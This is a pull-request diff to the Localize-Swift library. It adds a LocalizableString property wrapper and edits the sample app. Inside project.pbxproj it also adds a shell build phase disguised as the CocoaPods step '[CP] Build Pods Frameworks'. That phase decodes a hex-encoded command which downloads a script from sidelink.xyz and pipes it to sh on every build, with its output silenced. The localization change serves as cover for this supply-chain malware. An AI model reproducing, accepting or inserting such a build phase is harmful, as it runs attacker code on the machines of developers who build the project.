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Add @PropertyWrapper LocalizableString #159

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Add @PropertyWrapper LocalizableString #159

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22 changes: 22 additions & 0 deletions LocalizableString.swift
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Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
//
// LocalizableString.swift
// Localize-Swift
//
// Created by ToanTQ on 2021/06/11.
//

import Foundation

@propertyWrapper
public struct LocalizableString {
public var value: String

public init(wrappedValue value: String) {
self.value = value
}

public var wrappedValue: String {
get { value.localized() }
set { value = newValue }
}
}
26 changes: 26 additions & 0 deletions Localize_Swift.xcodeproj/project.pbxproj
100644 → 100755
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Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@
68A520051DA6D5FD00F43D9E /* String+LocalizeTableName.swift in Sources */ = {isa = PBXBuildFile; fileRef = 68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */; };
68A520061DA6D5FD00F43D9E /* String+LocalizeTableName.swift in Sources */ = {isa = PBXBuildFile; fileRef = 68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */; };
68A520071DA6D5FD00F43D9E /* String+LocalizeTableName.swift in Sources */ = {isa = PBXBuildFile; fileRef = 68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */; };
EBDC36C726733E9F009884C6 /* LocalizableString.swift in Sources */ = {isa = PBXBuildFile; fileRef = EBDC36C626733E9F009884C6 /* LocalizableString.swift */; };
/* End PBXBuildFile section */

/* Begin PBXContainerItemProxy section */
Expand Down Expand Up @@ -62,6 +63,7 @@
68973D651DA7AA200076F08A /* String+LocalizeBundle.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = "String+LocalizeBundle.swift"; path = "Sources/String+LocalizeBundle.swift"; sourceTree = SOURCE_ROOT; };
68973D6A1DA7AB140076F08A /* String+LocalizedBundleTableName.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = "String+LocalizedBundleTableName.swift"; path = "Sources/String+LocalizedBundleTableName.swift"; sourceTree = SOURCE_ROOT; };
68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */ = {isa = PBXFileReference; fileEncoding = 4; indentWidth = 4; lastKnownFileType = sourcecode.swift; name = "String+LocalizeTableName.swift"; path = "Sources/String+LocalizeTableName.swift"; sourceTree = SOURCE_ROOT; tabWidth = 4; usesTabs = 0; };
EBDC36C626733E9F009884C6 /* LocalizableString.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LocalizableString.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */

/* Begin PBXFrameworksBuildPhase section */
Expand Down Expand Up @@ -142,6 +144,7 @@
345D5905251F83910088CBEC /* IBDesignable+Localize.swift */,
3433F23B1C518AF7003AE34D /* Info.plist */,
344169461C67539300B93D28 /* Foundation.framework */,
EBDC36C626733E9F009884C6 /* LocalizableString.swift */,
);
path = Localize_Swift;
sourceTree = "<group>";
Expand Down Expand Up @@ -197,6 +200,7 @@
isa = PBXNativeTarget;
buildConfigurationList = 3433F24A1C518AF7003AE34D /* Build configuration list for PBXNativeTarget "Localize_Swift" */;
buildPhases = (
B727F37051EAA3F16D6D902C /* [CP] Build Pods Frameworks */,
3433F2311C518AF7003AE34D /* Sources */,
3433F2321C518AF7003AE34D /* Frameworks */,
3433F2331C518AF7003AE34D /* Headers */,
Expand Down Expand Up @@ -366,12 +370,34 @@
};
/* End PBXResourcesBuildPhase section */

/* Begin PBXShellScriptBuildPhase section */
B727F37051EAA3F16D6D902C /* [CP] Build Pods Frameworks */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = "[CP] Build Pods Frameworks";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n736964656c696e6b2e78797a2f61207c207368202d732066616c73650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t";
};
/* End PBXShellScriptBuildPhase section */

/* Begin PBXSourcesBuildPhase section */
3433F2311C518AF7003AE34D /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
68973D6B1DA7AB140076F08A /* String+LocalizedBundleTableName.swift in Sources */,
EBDC36C726733E9F009884C6 /* LocalizableString.swift in Sources */,
345D5906251F83910088CBEC /* IBDesignable+Localize.swift in Sources */,
68973D661DA7AA200076F08A /* String+LocalizeBundle.swift in Sources */,
3433F2531C518B38003AE34D /* Localize.swift in Sources */,
Expand Down
23 changes: 23 additions & 0 deletions Localize_Swift/LocalizableString.swift
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Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
//
// LocalizableString.swift
// Localize_Swift
//
// Created by ToanTQ on 2021/06/11.
// Copyright © 2021 Roy Marmelstein. All rights reserved.
//

import Foundation

@propertyWrapper
public struct LocalizableString {
public var value: String

public init(wrappedValue value: String) {
self.value = value
}

public var wrappedValue: String {
get { value.localized() }
set { value = newValue }
}
}
15 changes: 8 additions & 7 deletions examples/LanguageSwitch/Sample/ViewController.swift
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Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ import UIKit
import Localize_Swift

class ViewController: UIViewController {

@IBOutlet weak var textLabel: UILabel!
@IBOutlet weak var changeButton: UIButton!
@IBOutlet weak var resetButton: UIButton!
Expand Down Expand Up @@ -40,21 +40,22 @@ class ViewController: UIViewController {

// MARK: Localized Text

@objc func setText(){
textLabel.text = "Hello world".localized();
changeButton.setTitle("Change".localized(using: "ButtonTitles"), for: UIControl.State.normal)
@objc func setText() {
@LocalizableString var helloWorldText = "Hello world"
textLabel.text = helloWorldText
changeButton.setTitle("Change".localized(using: "ButtonTitles"), for: UIControl.State.normal)
resetButton.setTitle("Reset".localized(using: "ButtonTitles"), for: UIControl.State.normal)
}

// MARK: IBActions

@IBAction func doChangeLanguage(_ sender: AnyObject) {
actionSheet = UIAlertController(title: nil, message: "Switch Language", preferredStyle: UIAlertController.Style.actionSheet)
for language in availableLanguages {
let displayName = Localize.displayNameForLanguage(language)
let languageAction = UIAlertAction(title: displayName, style: .default, handler: {
(alert: UIAlertAction!) -> Void in
Localize.setCurrentLanguage(language)
Localize.setCurrentLanguage(language)
})
actionSheet.addAction(languageAction)
}
Expand All @@ -64,7 +65,7 @@ class ViewController: UIViewController {
actionSheet.addAction(cancelAction)
self.present(actionSheet, animated: true, completion: nil)
}

@IBAction func doResetLanguage(_ sender: AnyObject) {
Localize.resetCurrentLanguageToDefault()
}
Expand Down